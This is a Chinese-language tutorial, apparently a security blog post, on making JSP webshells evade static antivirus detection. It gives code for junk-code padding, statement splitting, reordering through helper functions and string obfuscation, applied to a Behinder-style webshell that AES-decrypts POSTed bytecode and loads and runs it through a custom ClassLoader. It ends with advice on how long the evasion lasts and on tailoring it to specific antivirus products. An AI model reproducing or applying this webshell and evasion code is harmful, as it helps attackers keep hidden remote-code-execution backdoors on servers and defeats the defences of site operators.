webshell静态免杀的一些思路
字数 552 2025-08-06 08:35:11
WebShell静态免杀技术详解
1. 静态查杀绕过原理
静态查杀是杀毒软件通过检查WebShell文件内容,提取文件特征与已知恶意模式进行比对的技术。这些恶意模式包括:
- 已知病毒特征
- 恶意软件代码片段
- 危险函数正则表达式匹配
绕过原理:通过修改代码结构使杀软规则无法匹配到恶意代码。
2. 添加无意义代码技术
2.1 基本方法
在不改变代码功能的情况下修改代码特征,使杀毒软件特征匹配失败。
示例:
// 原始代码
String k = "xxxxxxxx";
// 修改后代码
String k = "";
if (21174 < 18818181){
k = "xxxxxx";
}
// 或添加前置无意义代码
float f = 314141.14f;
if (1231241 > 12312){
f += 12314.11f;
}
String k = "xxxxxxxx";
2.2 实际应用案例
以冰蝎JSP马为例,通过添加大量无意义代码和条件判断:
<%!
class U extends ClassLoader {
String AA = "AAAAAAA";
String BB = "BBBBBBB";
String CC = "CCCCCCC";
U(ClassLoader c) {
super(c);
if (1929341894> 12313){
boolean b = 18288 % 10 == 2;
}
}
public Class g(byte[] b) {
if (2 > 100){
String aa = "AAAAAAA";
int s = 1929341894 - 12313;
aa = aa + s;
}else {
String cc = "ccccccc";
}
return super.defineClass(b, 0, b.length);
}
}
%>
2.3 代码拆分技术
将关键代码拆分成多个部分:
// 原始代码
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);
// 拆分后代码
ClassLoader CL = this.getClass().getClassLoader();
U u = new U(CL);
BufferedReader reader = request.getReader();
String readLine = reader.readLine();
byte[] decode = Base64.getDecoder().decode(readLine);
byte[] bytes = c.doFinal(decode);
u.g(bytes).newInstance().equals(pageContext);
3. 函数定义修改代码顺序
通过定义函数改变代码在文件中的顺序,绕过较强杀软如卡巴斯基的检测。
3.1 基本方法
// 原始可检测代码
new U(this.getClass().getClassLoader());
// 修改为函数定义方式
<%
new U(getClassLoader);
%>
<%!
public ClassLoader getClassLoader(){
return this.getClass().getClassLoader();
}
%>
3.2 完整实现案例
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.security.InvalidKeyException" %>
<%!
class UUAND extends ClassLoader {
// ... 类定义代码 ...
}
%>
<%
if (request.getMethod().equals("POST")) {
// ... 请求处理代码 ...
}
%>
<%!
public ClassLoader getClassLoader(){
Object o = this;
Class<?> aClass = o.getClass();
ClassLoader classLoader = aClass.getClassLoader();
return classLoader;
}
public byte[] getByte(String readline){
return Base64.getDecoder().decode(readline);
}
public Object run(UUAND u, byte[] bytes){
try {
return u.g(bytes).newInstance();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public void go(Cipher c, String k){
try {
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
} catch (InvalidKeyException e) {
e.printStackTrace();
}
}
%>
4. 其他免杀技术
4.1 字符串混淆技术
// 原始代码
k = "e45e329feb5d925b";
// 修改后代码
k = "Ae45e329fA" + "Aeb5Ad925bAAAA";
k.replace("A", "");
4.2 复杂化对象调用链
// 原始代码
this.getClass().getClassLoader();
// 修改后代码
Object o = this;
if(false){
o = null;
}
Class<?> aClass = o.getClass();
if (aClass == null){
aClass = null;
}
ClassLoader classLoader = aClass.getClassLoader();
5. 总结
WebShell静态免杀的核心原则:
- 不改变代码功能的前提下改变代码结构
- 主要技术手段包括:
- 添加无意义代码和条件判断
- 拆分关键代码为多个部分
- 使用函数改变代码顺序
- 字符串混淆和复杂化调用链
- 混合使用多种技术可提高免杀效果,通常可维持1年左右的有效期
注意事项:
- 定期更新免杀技术,避免依赖单一方法
- 针对不同杀软采用不同策略
- 实际应用中需结合动态免杀技术